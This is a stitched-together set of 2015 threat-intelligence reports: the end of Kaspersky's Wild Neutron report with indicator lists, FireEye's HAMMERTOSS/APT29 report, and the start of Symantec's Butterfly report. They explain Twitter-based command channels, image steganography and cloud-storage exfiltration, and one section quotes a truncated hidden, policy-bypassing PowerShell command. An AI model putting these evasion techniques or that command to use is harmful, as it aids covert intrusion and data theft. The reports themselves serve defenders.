Palestine Slovenia Kazakhstan Algeria United States The victims for the 2014-2015 versions are generally IT and real estate/investment companies and in both cases, a small number of computers have been infected throughout the organizations. The attackers appear to have updated the malware implant and deployed some additional tools, however, we haven observed serious lateral movement in these cases. Attribution The targeting of various companies, without a government focus, makes us believe this is not a nation state sponsored APT. The attackers have also shown an interest in investment related targets, which indicate knowledge and skills to exploit such information on the market to turn it into financial advantages. In some of the samples, the encrypted configuration includes a Romanian language string #WildNeutron Tweet In some of the samples, the encrypted configuration includes a Romanian language string, which is used to mark the end of the C&C communication: Interestingly, La revedere means goodbye in Romanian. In addition to that, we found another nonEnglish string which is the latin transcription of the russian word uspeshno successfully ); this string is written to a pipe after executing a C2 command. We found another non-English string which is the latin transcription of the russian word #WildNeutron Tweet One of the samples has an internal name of WinRAT-Win32-Release.exe . This seems to indicate the authors are calling the malware WinRAT More information about the Wild Neutron attribution is available to Kaspersky Intelligence Services customers. Contact: intelreports@kaspersky.com Conclusions Compared to other APT groups, Wild Neutron is one of the most unusual ones we ve analysed and tracked. Active since 2011, the group has been using at least one zero-day exploit, custom malware and tools and managed to keep a relatively solid opsec which so far eluded most attribution efforts. Their targeting of major IT companies, spyware developers (FlexiSPY), jihadist forums (the Ansar Al-Mujahideen English Forum ) and Bitcoin companies indicate a flexible yet unusual mindset and interests. Some of group s distinctive features include: Use of open source tools and leaked sources of other malware Use of stolen certificate from Acer Incorporated to sign malware Use of cross platform zero-day exploit (Java and Flash) followed by cross platform payload reverse shell (Perl) for initial penetration Use of *NIX code ported to Windows through Cygwin Heavy use of SSH for exfiltration, a commonly used *NIX administration tool Use of CryptProtectData API to keep C&C URLs secret Simple command line interface, built around all malware components, utilizing named pipes for communication between modules; Auxiliary tools are written in C and most of them contain a built-in help, which may be printed by executing the binary with a pleh parameter We continue to track the Wild Neutron group, which is still active as of June 2015. Kaspersky products detect the malware used in the attacks as: HEUR:Trojan.Win32.WildNeutron.gen, Trojan.Win32.WildNeutron.*, Trojan.Win32.JripBot.*, HEUR:Trojan.Win32.Generic Read more about how Kaspersky Lab products can help to protect you from Wild Neutron threat actor here: Wild Neutron in the wild: perhaps you re his next prey Indicators of Compromise (IOCs) Known malicious hostnames and domains: ddosprotected.eu updatesoft.eu app.cloudprotect.eu fw.ddosprotected.eu logs.cloudprotect.eu ssl.cloudprotect.eu ssl.updatesoft.eu adb.strangled.net digitalinsight-ltd.com ads.digitalinsight-ltd.com cache.cloudbox-storage.com cloudbox-storage.com clust12-akmai.net corp-aapl.com fb.clust12-akmai.net fbcbn.net img.digitalinsight-ltd.com jdk-update.com liveanalytics.org min.liveanalytics.org pop.digitalinsight-ltd.com ww1.jdk-update.com find.a-job.today cryptomag.mediasource.ch Known malicious IPs: 185.10.58.181 46.183.217.132 64.187.225.231 62.113.238.104 66.55.133.89 217.23.6.13 Known file names: %APPDATA%\Roaming\FlashUtil.exe %APPDATA%\Roaming\Acer\LiveUpdater.exe %APPDATA%\Roaming\Realtek\RtlUpd.exe %ProgramData%\Realtek\RtlUpd.exe %APPDATA%\Roaming\sqlite3.dll (UPX packed) %WINDIR%\winsession.dll %APPDATA%\appdata\local\temp\teamviewer\version9\update.exe %SYSTEMROOT%\temp\_dbg.tmp %SYSTEMROOT%\temp\ok.tmp C:\windows\temp\debug.txt C:\windows\syswow64\mshtaex.exe %SYSROOT%\System32\mshtaex.exe %SYSROOT%\System32\wdigestEx.dll %SYSROOT%\System32\dpcore16t.dll %SYSROOT%\System32\iastor32.exe %SYSROOT%\System32\mspool.dll %SYSROOT%\System32\msvcse.exe %SYSROOT%\System32\mspool.exe C:\Program Files (x86)\LNVSuite\LnrAuth.dll C:\Program Files (x86)\LNVSuite\LnrAuthSvc.dll C:\Program Files (x86)\LNVSuite\LnrUpdt.exe C:\Program Files (x86)\LNVSuite\LnrUpdtP.exe DF39527~.tmp Named pipes: \\.\pipe\winsession \\.\pipe\lsassw Events & mutexes: Global\LnrRTPDispatchEvents _Winlogon_TCP_Service S P E C I A L R E P O R T FIREEYE THREAT INTELLIGENCE HAMMERTOSS: Stealthy Tactics Define a Russian Cyber Threat Group JULY 2015 SECURITY REIMAGINED SPECIAL REPORT HAMMERTOSS: Stealthy Tactics Define a Russian Cyber Threat Group CONTENTS HAMMERTOSS APT29 Introducing HAMMERTOSS Five Stages of HAMMERTOSS Stage 1: The Communication Process Begins with Twitter Figure 1: HAMMERTOSS calls out to a Twitter handle Stage 2: Tweeting a URL, Minimum File Size of an Image, and Part of an Encryption Key Figure 2: Learning the URL, image size, and encryption key Figure 3: Twitter page for d3109c83e07dd5d7fe032dc80c581d08 Stage 3: Visiting GitHub to Download an Image Figure 4: The active Twitter account in our sample contained a GitHub URL and a related GitHub page with image containing encrypted data Stage 4: APT29 Employs Basic Steganography Figure 5: Encrypted data appended beyond the FF D9 JPEG End of File marker Stage 5: Executing Commands and Uploading Victim Data Figure 6: Executing Commands and Removing Data Conclusion Difficulty Identifying Accounts, Discerning Legitimate and Malicious Traffic, and Predicting the Payload APT29: An Adaptive and Disciplined Threat Group SPECIAL REPORT HAMMERTOSS: Stealthy Tactics Define a Russian Cyber Threat Group HAMMERTOSS he Russian cyber threat groups that we monitor frequently design innovative ways to cover their tracks. In early 2015, we came across stealthy malware which we call HAMMERTOSS from an advanced persistent threat group that we suspect the Russian government sponsors. We designate this group APT29. Using a variety of techniques from creating an algorithim that generates daily Twitter handles to embedding pictures with commands developers behind HAMMERTOSS have devised a particularly effective tool. APT29 tries to undermine the detection of the malware by adding layers of obfuscation and mimicking the behavior of legitimate users. HAMMERTOSS uses Twitter, GitHub, and cloud storage services to relay commands and extract data from compromised networks. Using a variety of techniques from creating algorithms that generate daily Twitter handles to embedding pictures with commands the developers behind HAMMERTOSS have devised a particularly effective tool. SPECIAL REPORT HAMMERTOSS: Stealthy Tactics Define a Russian Cyber Threat Group HAMMERTOSS works by: 2. Visiting different Twitter handles daily and automatically. 1. Retrieving commands via legitimate web services, such as Twitter and GitHub, or using compromised web servers for command-andcontrol (CnC). 3. Using timed starts communicating after a specific date or only during the victim workweek. 5. Extracting information from a compromised network and uploading files to cloud storage services. 4. Obtaining commands via images containing hidden and encrypted data. While none of these tactics are new, the combination of these techniques piqued our interest. SPECIAL REPORT HAMMERTOSS: Stealthy Tactics Define a Russian Cyber Threat Group APT29 KALININGRAD TIME MOSCOW TIME (UTC + 02/MSK-1) (UTC + 03/MSK) SAMARA TIME YEKATERINBURG TIME OMSK TIME KRASNOYARSK TIME IRKUTSK TIME YAKUTSK TIME VLADIVOSTOK TIME SREDNEKOLYMSK TIME KAMCHATKA TIME (UTC + 04/MSK+1) (UTC + 05/MSK+2) (UTC + 06/MSK+3) (UTC + 07/MSK+4) (UTC + 08/MSK+5) (UTC + 09/MSK+6) (UTC + 10/MSK+7) (UTC + 11/MSK+8) (UTC + 12/MSK+9) APT29 has been operating in its current form since at least late 2014. We suspect the Russian government sponsors the group because of the organizations it targets and the data it steals. Additionally, APT29 appeared to cease operations on Russian holidays, and their work hours seem to to align with the UTC +3 time zone, which contains cities such as Moscow and St. Petersburg. While other APT groups try to cover their tracks to thwart investigators, very few groups show the same discipline and consistency. Similarly, few groups display the ability to adapt to network defenders attempts to mitigate its activity or remove it from victim networks. For example, APT29 almost always uses anti-forensic techniques, and they monitor victim remediation efforts to subvert them. Likewise, the group appears to almost solely uses compromised servers for CnC to enhance the security of its operations and maintains a rapid development cycle for its malware by quickly modifying tools to undermine detection. These aspects make APT29 one of the most capable APT groups that we track. SPECIAL REPORT HAMMERTOSS: Stealthy Tactics Define a Russian Cyber Threat Group INTRODUCING HAMMERTOSS e first identified HAMMERTOSS in early 2015. APT29 likely used HAMMERTOSS as a backup for their two primary backdoors to execute commands and maintain access if the group s principal tools were discovered. We have identified two HAMMERTOSS variants that give APT29 alternative ways to communicate with the malware. The developer appears to name these variants uploader and tDiscoverer.1 Both variants are written in the C# programming language. Each 1. The HAMMERTOSS backdoor generates and looks for a different Twitter handle each day. It uses an algorithm to generate the daily handle, such as 234Bob234 , before attempting to visit the corresponding Twitter page. variant uses different methods to acquire CnC instructions, either by directly accessing a hard-coded website or accessing Twitter as an intermediary. Uploader is preconfigured to use a hard-coded server for its CnC. It goes to a specific URL to obtain an image with a specific file size. tDiscoverer uses an additional layer of obfuscation by first going to Twitter to obtain a CnC URL, before visiting the URL to acquire its target image. We will focus on tDiscoverer in this report. Five Stages of HAMMERTOSS We have broken down the malware communication process into five stages to explain how the tool operates, receives instructions, and extracts information from victim networks. The stages include information on what APT29 does outside of the compromised network to communicate with HAMMERTOSS and a brief assessment of the tool s ability to mask its activity. TWEETS bobby If the threat group has not registered that day s handle, HAMMERTOSS will wait until the next day and look for a different handle. @1abBob52b Tweets Tweet & replies bobby @1abBob52b July 29 Follow doctorhandbook.com #101docto 2. HAMMERTOSS visits the associated Twitter account and looks for a tweet with a URL and a hashtag that indicates the location and minimum size of an image file. 5. HAMMERTOSS processes the decrypted commands, which may instruct the malware to conduct reconnaissance, execute commands via PowerShell, or upload data to a cloud storage service. 4. The image looks normal, but actually contains hidden and encrypted data using steganography. 010111101101 111011011110 010111101 10 010111101 HAMMERTOSS decrypts the hidden data to obtain commands. 3. HAMMERTOSS visits the URL and obtains an image. Note: The images are stock photography and were not used by the group. The tDiscoverer variants were originally named tDiscoverer.exe, and the Uploader variants had a debug path containing uploader.pdb. SPECIAL REPORT HAMMERTOSS: Stealthy Tactics Define a Russian Cyber Threat Group STAGE 1: The Communication Process Begins with Twitter 1. HAMMERTOSS contains an algorithm that generates Twitter handles telling the malware to visit a specific Twitter handle on a specific day. A Twitter handle is a user ID associated with Twitter website. For instance, FireEye s Twitter handle, @FireEye, has a URL: https://www.twitter.com/ fireeye. The HAMMERTOSS algorithm uses a basename, like Bob, and appends and prepends three CRC32 values based on the current date. An example, may be 1abBob52b, which would have the URL: hxxps://www. twitter.com/1abBob52b. TWEETS bobby Tweets Tweet & replies @1abBob52b bobby @1abBob52b July 29 Follow doctorhandbook.com #101docto 3a. APT29 s operator registers the handle. 2. HAMMERTOSS visits the Twitter URL related to its daily Twitter handle. For instance, on July 29, it may look for a handle 1abBob52b (hxxps://twitter. com/1abBob52b). APT29 s operator chooses to register a particular day Twitter handle using the same algorithm ahead of the anticipated communication. HAMMERTOSS goes to the Twitter page and looks for a tweet that provides instructions on the next phase of the process. 3b. APT29 s operator does not register the handle. Figure 1: HAMMERTOSS calls out to a Twitter handle AMMERTOSS first looks for instructions on Twitter. The malware contains an algorithm that generates a daily Twitter handle, which is an account user ID. To create the handles, the algorithm employs a basename, such as Bob, and appends and prepends three CRC32 values based on the date. For example, 1abBob52b would have the URL: hxxps://twitter.com/1abBob52b. Each HAMMERTOSS sample will create a different Twitter handle each day. APT29 knows the algorithm used to generate the handles and chooses to register a Twitter handle and post obfuscated instructions to the handle URL before the malware attempts to query it. If a particular day s handle is not registered and the URL for that day is not found, HAMMERTOSS will wait until the next day to attempt to communicate with another handle. HAMMERTOSS waits until the next day to begin the process again. APT29 typically configures HAMMERTOSS to communicate within certain restrictions, such as only checking the Twitter handle on weekdays or after a specified start date. This allows the malware to blend in to normal traffic during the victim s work week or to remain dormant for a period of time before activating. SPECIAL REPORT HAMMERTOSS: Stealthy Tactics Define a Russian Cyber Threat Group STAGE 2: Tweeting a URL, Minimum File Size of an Image, and Part of an Encryption Key If APT29 s operator has registered that particular day s handle, he will tweet a URL and hashtag. TWEETS bobby @1abBob52b URL: In the case above, the tweet instructs HAMMERTOSS to download the content hosted at the specified URL, including any images on the page. In the example we will discuss later, the tweet included a URL on GitHub. Tweets Tweet & replies bobby @1abBob52b July 29 Follow doctorhandbook.com #101docto Hashtag: The tweet also contains a hashtag with information to allow HAMMERTOSS to extract encrypted instructions from an image file. The hashtag indicates that the hidden data is offset 101 bytes into the image file and the characters to be used for decryption are docto. Figure 2: Learning the URL, image size, and encryption key f APT29 has registered that day s Twitter handle, they will tweet a URL and a hashtag. The URL directs HAMMERTOSS to a webpage containing an image or images. The hashtag provides a number representing a location within the image file and characters for appending to an encryption key to decrypt instructions within the image. In the mockup of a HAMMERTOSS tweet in Figure 2, the hashtag was #101docto, indicating that the encrypted data begins at an offset of 101 bytes into the image file, and the characters docto should be added to the encryption key to decrypt the data. Using Twitter as an intermediary to deliver the second-stage CnC to HAMERTOSS allows APT29 to dynamically direct the tool. SPECIAL REPORT HAMMERTOSS: Stealthy Tactics Define a Russian Cyber Threat Group In Figure 3 is a sample of the HAMMERTOSS tDiscoverer variant and a corresponding snapshot of a Twitter account page from one of its generated handles. At the time of publication, a publicly available HAMMERTOSS sample had only five generic detections in VirusTotal. The Twitter account was active and contained a link to a website. MD5: d3109c83e07dd5d7fe032dc80c581d08 (VirusTotal) SHA1: 42e6da9a08802b5ce5d1f754d4567665637b47bc Timing Behavior: Communicate on weekdays only after April 3, 2015 Active Twitter Handle: twitter[.]com/3c6Diallo7f0 (Figure 3 below) Tweeted URL, Hashtag: hxxp://www[.]doctorhandbook[.]com, #101docto Detection Ratio: 5/56 Metadata: HIDING AMONG UNREGISTERED TWITTER ACCOUNTS AMMERTOSS uses an algorithm to generate hundreds of Twitter handles annually for potential CnC. Many of these are unregistered, as APT29 chooses to register a particular day handle as needed and ahead of an anticipated HAMMERTOSS beacon. This small number of registered accounts allows the group to maintain a small footprint. Other tools use Twitter to relay instructions, including:2 MiniDuke, a Windows-based backdoor that is a suspected Russian tool the Sninfs botnet Flashback, a Mac-based backdoor Figure 3: Twitter page for d3109c83e07dd5d7fe032dc80c581d08 MiniDuke behaves similarly to HAMMERTOSS by not only using Twitter for CnC, but also by downloading image files containing encrypted, appended content. Miniduke still duking it out. ESET Security. 20 May 2014. http://www.welivesecurity.com/2014/05/20/miniduke-still-duking/ Balazs, Biro, Christian Istrate, and Mairus Tivaradar. A Closer Look at MiniDuke. BitDefender. 2013. http://labs.bitdefender.com/wp-content/uploads/downloads/2013/04/MiniDuke_Paper_Final.pdf. James, Peter. Flashback Mac Malware Uses Twitter as Command and Control Center. Intego s The Mac Security Blog. 5 March 2012. http://www.intego.com/mac-security-blog/flashback-mac-malware-uses-twitter-as-command-and-control-center. Coogan, Peter. Twittering Botnets. Symantec Security Blog. 14 Aug 2009. http://www.symantec.com/connect/blogs/twittering-botnets. Kessler, Michelle. Hackers harness Twitter to do their dirty work. USA Today. 17 August 2008. http://content.usatoday.com/communities/technologylive/post/2009/08/68497133/1#.VbJVi4q9_Vs. SPECIAL REPORT HAMMERTOSS: Stealthy Tactics Define a Russian Cyber Threat Group STAGE 3: Visiting GitHub to Download an Image APT29 s operator registers a GitHub page and uploads an image. HAMMERTOSS uses the InternetExplorer. Application COM Object to visit the URL and obtain the image. Figure 4: The URL specified in the tweet (in this case, a GitHub page) contains an image with appended and encrypted data AMMERTOSS then uses the InternetExplorer. Application COM Object to visit the URL specified in a tweet. We have observed URLs lead to specific GitHub accounts or compromised websites. We will use Github for the next part in our example. Once HAMMERTOSS obtains the GitHub URL from its daily Twitter account, it visits the URL and downloads the contents of the page, including any image files. SPECIAL REPORT HAMMERTOSS: Stealthy Tactics Define a Russian Cyber Threat Group STAGE 4: APT29 Employs Basic Steganography 1. HAMMERTOSS downloads the image from the specified URL, retrieves the image from Internet Explorer browser cache, and begins the process of decryption. 2. Though the image looks normal, it contains appended and encrypted content. AMMERTOSS downloads the contents of the website to Internet Explorer s browser cache and searches the cache for any images at least as large as the offset specified in the tweet from Stage 2. While the image appears normal, it actually contains steganographic data. Steganography is the practice of concealing a message, image, or file within another message, image, or file. In this case, the image contains appended and encrypted data that HAMMERTOSS will decrypt and execute. The data may include commands or login credentials to upload a victim s data to a cloud storage service. HAMMERTOSS locates the encrypted data at the offset specified in the tweet in Stage 2. It decrypts the data using a key comprised of hard-coded data from the malware binary appended with the characters from the tweet. 010111101101 111011011110 010111101 10 010111101 3. HAMMERTOSS decrypts the image using a hard-coded key appended with the characters obtained from the tweet in Stage 2. End of File Marker Figure 5: Encrypted data appended beyond the FF D9 JPEG End of File marker APT29 ADDING STEGANOGRAPHY AS ANOTHER LAYER OF OBFUSCATION We have observed only a few APT groups using steganography. HAMMERTOSS uses steganography by appending data to an image file after the image s end of file marker. This technique would be readily detectable if someone was checking for it. However, the appended data is encrypted, so even if detected, the investigator would be unable to decrypt the data without key material from two sources: the malware binary and the current tweet. Indicative of APT29 s discipline, the group ensures that if network defenders discover the images, the defenders still require the malware sample, corresponding Twitter handle, and tweet with the additional key material to decrypt the tool instructions. All of the samples we have observed have used different encryption keys to decrypt the appended content. SPECIAL REPORT HAMMERTOSS: Stealthy Tactics Define a Russian Cyber Threat Group STAGE 5: Executing Commands and Uploading Victim Data APT29 s operator creates the cloud storage account and can obtain the victim s data from the cloud storage service. 1. HAMMERTOSS may issue other follow on commands: powershell -ExecutionPolicy bypass -WindowStyle hidden encodedCommand... 010111101101111000101001100101 1110110111100010100110 01011110110111100010100110 010111101101111000101001100101111 0110111100010100110 Figure 6: Executing Commands and Removing Data he encrypted data in the image may include instructions to execute commands via PowerShell, execute a direct command or file, or save an executable to disk and execute it. In several cases, the commands directed HAMMERTOSS to upload information from victim networks to accounts on cloud storage services using login credentials received in 2. HAMMERTOSS is capable of uploading victim data to a cloud storage service. Stage 4. In our GitHub example, the decrypted data instructed the backdoor to obtain a list of running tasks reconnaissance on the victim network and upload it to a specific account on a cloud storage service using the login credentials. APT29 can then easily obtain the extracted information from the cloud storage service at their convenience. SPECIAL REPORT HAMMERTOSS: Stealthy Tactics Define a Russian Cyber Threat Group CONCLUSION Difficulty Identifying Accounts, Discerning Legitimate and Malicious Traffic, and Locating the Payload AMMERTOSS undermines network defenders ability to identify Twitter accounts used for CnC, discern malicious network traffic from legitimate activity, and locate the malicious payloads downloaded by the malware. Identifying daily potential Twitter accounts requires network defenders to have access to the associated HAMMERTOSS binary and to reverse engineer it to identify the basename and the algorithm used to create the potential accounts. Monitoring malicious tweets from these accounts is difficult as each sample is capable of generating hundreds of potential Twitter accounts annually, and APT29 may only register a small number of those accounts for CnC. Employing legitimate web services that are widely allowed in organizations networks some of which use Secure Sockets Layer connections that ensure the communications are encrypted makes it harder for network defenders to discern between malicious and legitimate traffic. Using steganography and varying the image size makes the target payload the image containing the appended, encoded commands less predictable. Even if the network defenders are able to predict or identify the target payloads, they need the associated HAMMERTOSS sample and relevant tweet containing the related encryption key information to decrypt the contents. APT29: AN ADAPTIVE AND DISCIPLINED THREAT GROUP HAMMERTOSS illustrates APT29 s ability to adapt quickly during operations to avoid detection and removal. For example, if an organization blocks access to GitHub, APT29 could easily redirect HAMMERTOSS to download an image with encrypted instructions from another website. Similarly, if an organization starts monitoring Twitter activity on their network, APT29 could easily switch to using the Uploader variant of HAMMERTOSS, which does not use Twitter and communicates directly to a specified URL. If an organization identifies the handle generation algorithm and attempts to research old Twitter accounts, tweets, or secondary URLs, APT29 could easily delete previously used accounts or the locations where images were stored. While each technique in HAMMERTOSS is not new, APT29 has combined them into a single piece of malware. Individually, each technique offers some degree of obfuscation for the threat group activity. In combination, these techniques make it particularly hard to identify HAMMERTOSS or spot malicious network traffic; determine the nature and purpose of the binary; discern the malware CnC method and predict its CnC accounts; capture and decode second-stage CnC information; and pinpoint and decrypt the image files containing malware commands. This makes HAMMERTOSS a powerful backdoor at the disposal of one of the most capable threat groups we have observed. To download this or other FireEye Threat Intelligence reports, visit: https://www.fireeye.com/reports.html FireEye, Inc. | 1440 McCarthy Blvd. Milpitas, CA 95035 | 408.321.6300 | 877.FIREEYE (347.3393) | info@fireeye.com | www.fireeye.com 2015 FireEye, Inc. All rights reserved. FireEye is a registered trademark of FireEye, Inc. All other brands, products, or service names are or may be trademarks or service marks of their respective owners. SP.APT29.EN-US.072015 SECURITY RESPONSE Butterfly: Corporate spies out for financial gain Symantec Security Response Version 1.1 July 9, 2015 There are some indications that this group may be made up of native English speakers, are familiar with Western culture, and may operate from an Eastern Standard Time (EST) time zone. CONTENTS OVERVIEW...................................................................... 3 Background.................................................................... 6 The corporate espionage threat............................... 6 Butterfly attacks against tech firms........................ 6 Victims........................................................................... 8 Industries................................................................. 9 Targeted computers............................................... 10 Tools, tactics, and procedures..................................... 10 Gaining initial access.............................................. 10 Spreading............................................................... 11 The Butterfly toolkit............................................... 11 Operational security............................................... 12 Attribution.................................................................... 14 Conclusion.................................................................... 16 Protection..................................................................... 17 Appendix...................................................................... 19 Technical description of Backdoor.Jiripbot File hashes ............................................................. 28 OVERVIEW Butterfly* is a group of highly capable, professional attackers who perform corporate espionage with a laser-like focus on operational security. The team is a major threat to organizations that have large volumes of proprietary intellectual property, all of which is at risk of being stolen by this group for monetary gain. The Butterfly attackers, who Symantec believes are a small number of technically capable individuals, compromised several major technology companies including Twitter, Facebook, Apple and Microsoft in early 2013. In these campaigns, the attackers used a Java zero-day exploit to drop malware onto victims computers. Since those attacks, there has been little-to-no public information about the Butterfly attackers. Symantec has been working with victims to track these attackers over the past two years. We found that Butterfly compromised multiple pharmaceutical companies, technology firms, law practices, and oil and precious metal mining organizations during this period. The attackers are versatile and spread their threats quickly within compromised organizations. They may also have had access to at least one other zero-day exploit, affecting Internet Explorer 10. There are some indications that this group may be made up of native English speakers, are familiar with Western culture, and may operate from an Eastern Standard Time (EST) time zone. Prior to Butterfly, the majority of documented cyberespionage attacks has been conducted against politically sensitive entities such as embassies, government ministries, central banks, dissidents, militaries, and associated defense contractors. Government-sponsored attackers have also attacked private sector organizations, presumably to steal intellectual property in order to provide their local industry with an unfair advantage in the market. Butterfly is a timely reminder to organizations that as well as defending against state-sponsored attacks, organizations must be aware of the potential threat of corporate espionage, where attacks are performed at the behest of competitors or by individuals looking to monetize stolen information such as through stock trading using insider knowledge. A key difference between attacks coming from competitors and statesponsored attackers is that competitors are likely in a better position to request the theft of specific information of value and make more rapid use of this information than government-sponsored attackers would. Butterfly appears to be part of this class of attack group. The attackers appear to be motivated by financial gain, either by using the information themselves for their own benefit or selling it to a third party. Morpho was used in the original publication to refer to this attack group. Symantec has renamed the group Butterfly to avoid any link whatsoever to other legitimate corporate entities named Morpho BACKGROUND The attackers appear to be motivated by financial gain, either by using the information themselves for their own benefit or selling it to a third party. Butterfly: Corporate spies out for financial gain Background The corporate espionage threat Prior to Butterfly, the majority of documented cyberespionage attacks has been conducted against politically sensitive entities such as embassies, government ministries, central banks, dissidents, militaries, and associated defense contractors. Government-sponsored attackers have also attacked private sector organizations, presumably to steal intellectual property in order to provide their local industry with an unfair advantage in the market. Butterfly is a timely reminder to organizations that as well as defending against state-sponsored attacks, organizations must be aware of the potential threat of corporate espionage, where attacks are performed at the behest of competitors or by individuals looking to monetize stolen information such as through stock trading using insider knowledge. A key difference between attacks coming from competitors and state-sponsored attackers is that competitors are likely in a better position to request the theft of specific information of value and make more rapid use of this information than government-sponsored attackers would. Butterfly appears to be part of this class of attack group. The attackers appear to be motivated by financial gain, either by using the information themselves for their own benefit or selling it to a third party. Butterfly attacks against tech firms On February 1, 2013, Twitter published a blog, stating that it had discovered one live attack and added that it was able to shut it down in process moments later. Twitter encouraged users to disable Java in their browsers. The attackers were extremely sophisticated, and we believe other companies and organizations have also been recently similarly attacked, said Twitter. Fourteen days later, on February 15, Facebook issued a statement, disclosing that several of its systems had been targeted in a sophisticated attack. Facebook said that the attackers used zero-day (previously unseen) exploit to bypass the Java sandbox, which had been hosted on a mobile developer website that was compromised. Reuters referenced a similar statement from Apple a few days later on February 19. According to Apple, attackers used a Java zero-day exploit to compromise a number of Apple employees Mac OS X computers. Apple said that the exploit was delivered through a site aimed at iPhone developers. Finally, Microsoft published a statement on February 22, stating that it too had experienced a similar security intrusion as the ones reported by Facebook and Apple. The attacks against these technology firms appeared to take place between 2012 and early 2013. The zero-day exploit referred to in the various statements took advantage of the Oracle Java Runtime Environment Multiple Remote Code Execution Vulnerabilities (CVE-2013-0422). The vulnerability had been patched by Oracle on January 13, 2013, after the attacks occurred. Various parties published details of the attack vector, as well as the malware used in the attacks, several days later. F-Secure blogged that a Mac OS X back door (detected by Symantec as OSX.Pintsized) was the attack s payload. According to the website StopMalvertising, the compromised website that hosted the exploit was an iPhone developer website called iPhoneDevSDK.com. Independent researcher Eric Romang published some technical details about the attacks and established a timeline suggesting that the attackers have been active from September 2012. Symantec telemetry indicates that the timeline goes back even further than this, with malicious activity starting from at least April 2012. Romang analyzed many of the OSX.Pintsized samples and also identified a Windows back door, which he claimed was related to the attacks. This Windows file is a variant of what Symantec detects as Backdoor.Jiripbot. Other vendors called the variant Jripbot. Since Romang s analysis, there has been little-to-no public information related to the attackers behind the Java zero-day exploit or the use of OSX.Pintsized and Backdoor.Jiripbot. Page 6 VICTIMS Some victims seem to have been compromised as a result of collateral damage, as the attackers appeared uninterested in them and either cleaned up or abandoned the infection. Butterfly: Corporate spies out for financial gain Victims After the events of late 2012 and early 2013, the Butterfly attackers appeared to have maintained a low profile, compromising a small number of organizations. Each year however, that number has increased. Symantec has discovered that the Butterfly attackers have compromised 49 unique organizations. Out of the 49 organizations, 27 of the companies industries could be identified, while the remaining are unknown. Some victims seem to have been compromised as a result of collateral damage, as the attackers appeared uninterested in them and either cleaned up or abandoned the infection. However, other victims were clearly of value to Butterfly, as the attackers spread quickly in the networks until they found computers of interest. The chart in Figure 1 shows the number of infected organizations per industry over time. The graph is filtered to only include organizations that could be classified into a sector. Figure 1. Number of infected organizations per industry by year Symantec found that there was a lull in activity following the very public documentation of the late 2012 and early 2013 attacks. Butterfly s activity resumed in August 2013, and there has been a substantial increase in the number of victims from late 2014 to the present. The three regions that were most heavily targeted by Butterfly since 2012 are shown in Figure 2. The other regions affected by Butterfly s attacks are: Brazil China Hong Kong India Israel Japan Kazakhstan Malaysia Morocco Nigeria Taiwan Thailand South Korea United Arab Emirates Figure 2. Three regions most heavily targeted by Butterfly attackers Page 8 Butterfly: Corporate spies out for financial gain The industries of known victims have remained relatively consistent over time, with some notable exceptions. Industries The Java zero-day attack that exploited CVE-2013-0422 appears to have targeted technology companies, judging from the nature of the watering-hole website. This claim is backed up by the organizations that publicly reported how they were compromised in the attacks. Butterfly has continued to target a number of technology companies, which are primarily based in the US. Other Butterfly victims of note are involved in the pharmaceutical, legal, and commodities industries. The Butterfly attackers continued to attack these industries intermittently over the following two years. Pharmaceutical In January 2014, a major European pharmaceutical company was compromised. The attackers appear to have first breached a small European office and a month later, spread across the network to the company s US office, as well as the European headquarters. Two more major European pharmaceutical companies were later compromised one in September 2014 and the other in June 2015. In both incidents, the attackers appear to have gained access to computers in several regional offices. In the June 2015 compromise, the affected company quickly identified the infection from Symantec s alerts, as well as other notifications on Secure Shell (SSH) traffic on non-standard ports. Technology The Butterfly attackers have consistently targeted major technology companies from late 2012 to the present. At least five companies, in addition to those who publicly documented the attacks in 2013, have been compromised, to Symantec s knowledge. The technology companies are primarily headquartered in the US. In the watering-hole attacks of early 2012, two US-based law firms were attacked. No other known legal entities were attacked until June 2015, when the Central Asian offices of a global law firm were compromised. This most recent victim specializes in a number of topics, including finance and natural resources specific to the region. Commodities Two major natural resources organizations were compromised in late 2014. These organizations specifically work with gold and oil. The timing of these compromises, along with the later breach of the law firm as previously mentioned, is notable. It seems very likely that the Butterfly attackers have a specific interest in the commodities industry and are in a position to profit from information stolen from the breached organizations. Figure 3. Timeline showing when attacks against different industry sectors began Page 9 Butterfly: Corporate spies out for financial gain Government, logistics, and education A number of victims appear to have been of little interest to the attackers. This was the case for one Middle Eastern government agency, a Japanese logistics company, and an American university. With all three victims, either the attack was not successful or, if it was, the malware was not used after the initial compromise. It seems likely that these victims were collateral damage. Targeted computers The attackers focused on obtaining access to specific systems of interest in all of the compromised organizations. In most organizations, these systems were email servers: either Microsoft Exchange or Lotus Domino servers. Once the attackers had this access, they presumably then eavesdropped on email conversations and may have been in a position to potentially insert fraudulent emails as well. Other systems that the attackers compromised were enterprise content management servers. These systems are used for indexing and storing a company s various documents and other digital assets. Such servers would not contain source code, but rather legal documents, internal policies, training documents, product descriptions, and financial records. In one technology company breach, Butterfly compromised a more unusual system. The attackers gained access to what is known as a Physical Security Information Management (PSIM) system. This software is used for aggregating, managing, and monitoring physical security systems and devices. The physical security systems could consist of CCTV, swipe card access, HVAC, and other building security. After compromised that system, the attackers could have monitored employees through the company s own CCTV systems and tracked the activities of individuals within the building. Tools, tactics, and procedures Butterfly operates consistently across its breaches, deploying the same set of tools and targeting the same types of computers, which we detail in the Victims section of this report. Butterfly adapts quickly to targeted environments and takes advantage of systems already in place, such as remote access tools or management systems, in order to spread across the network. While Butterfly has used one confirmed zero-day exploit (CVE-2013-0422), the group appears to have used at least one more zero-day exploit against a vulnerability in Internet Explorer 10. Based on our analysis of a command-and-control (C&C) server used in an attack, the Butterfly operators demonstrate exceptional operational security, as they use encrypted virtual machines and multi-staged C&C servers to make it difficult to investigate their activities. Gaining initial access The attack vector for Butterfly s campaigns in late 2012 and early 2013 was well documented. The group conducted a watering-hole attack that compromised a popular mobile phone developer website, iPhoneDevSDK. com, to deliver a Java zero-day exploit. However, little information is known about how the Butterfly attackers have continued to gain access to victims systems, except for a few cases. In one of the most serious cases, on June 25, 2014, Internet Explorer 10 created a file called bda9.tmp on a victim s computer. It is likely that bda9.tmp was created as a result of an exploit targeting Internet Explorer. Bda9.tmp was then executed and went on to create a variant of Backdoor.Jiripbot with the file name LiveUpdate.exe. The affected version of Internet Explorer was a fully up-to-date, patched version of the browser, so the exploit was very likely either a zero-day for Internet Explorer 10 or for a plugin used in Internet Explorer. Microsoft patched a number of Internet Explorer 10 remote code execution vulnerabilities in subsequent Patch Page 10 Butterfly: Corporate spies out for financial gain Tuesday releases. It is possible that one of these patches covered the exploit, as there is no additional evidence of an Internet Explorer 10 exploit in use. It was not possible to identify the website hosting the exploit 